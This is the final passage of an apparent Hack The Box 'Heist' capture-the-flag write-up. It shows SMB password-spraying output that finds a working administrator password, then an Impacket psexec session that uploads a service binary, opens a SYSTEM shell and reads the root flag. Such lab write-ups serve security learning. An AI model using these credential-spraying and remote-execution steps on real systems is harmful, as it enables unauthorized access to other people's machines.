SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\support:4dD!5}x/re8]FBuZ STATUS_LOGON_FAILURE
|
|
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\chase:4dD!5}x/re8]FBuZ STATUS_LOGON_FAILURE
|
|
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\jason:4dD!5}x/re8]FBuZ STATUS_LOGON_FAILURE
|
|
SMB 10.10.10.149 445 SUPPORTDESK [+] SUPPORTDESK\administrator:4dD!5}x/re8]FBuZ (Pwn3d!)
|
|
SMB 10.10.10.149 445 SUPPORTDESK [+] Enumerated shares
|
|
SMB 10.10.10.149 445 SUPPORTDESK Share Permissions Remark
|
|
SMB 10.10.10.149 445 SUPPORTDESK ----- ----------- ------
|
|
SMB 10.10.10.149 445 SUPPORTDESK ADMIN$ READ,WRITE Remote Admin
|
|
SMB 10.10.10.149 445 SUPPORTDESK C$ READ,WRITE Default share
|
|
SMB 10.10.10.149 445 SUPPORTDESK IPC$ READ Remote IPC
|
|
|
|
|
|
and we get matching credentials ! administrator:4dD!5}x/re8]FBuZ let's test out our freshly acquired credentials.
|
|
|
|
|
|
λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Heist]
|
|
→ python3 psexec.py administrator@10.10.10.149
|
|
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
|
|
|
|
Password:
|
|
[*] Requesting shares on 10.10.10.149.....
|
|
[*] Found writable share ADMIN$
|
|
[*] Uploading file REyCZIUo.exe
|
|
[*] Opening SVCManager on 10.10.10.149.....
|
|
[*] Creating service BCMq on 10.10.10.149.....
|
|
[*] Starting service BCMq.....
|
|
[!] Press help for extra shell commands
|
|
Microsoft Windows [Version 10.0.17763.437]
|
|
(c) 2018 Microsoft Corporation. All rights reserved.
|
|
|
|
C:\Windows\system32>type \users\administrator\desktop\root.txt
|
|
50XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
|
|
|
|
|
## **Conclusion**
|
|
|
|
Here we can see the progress graph :
|
|
|
|
|
|
|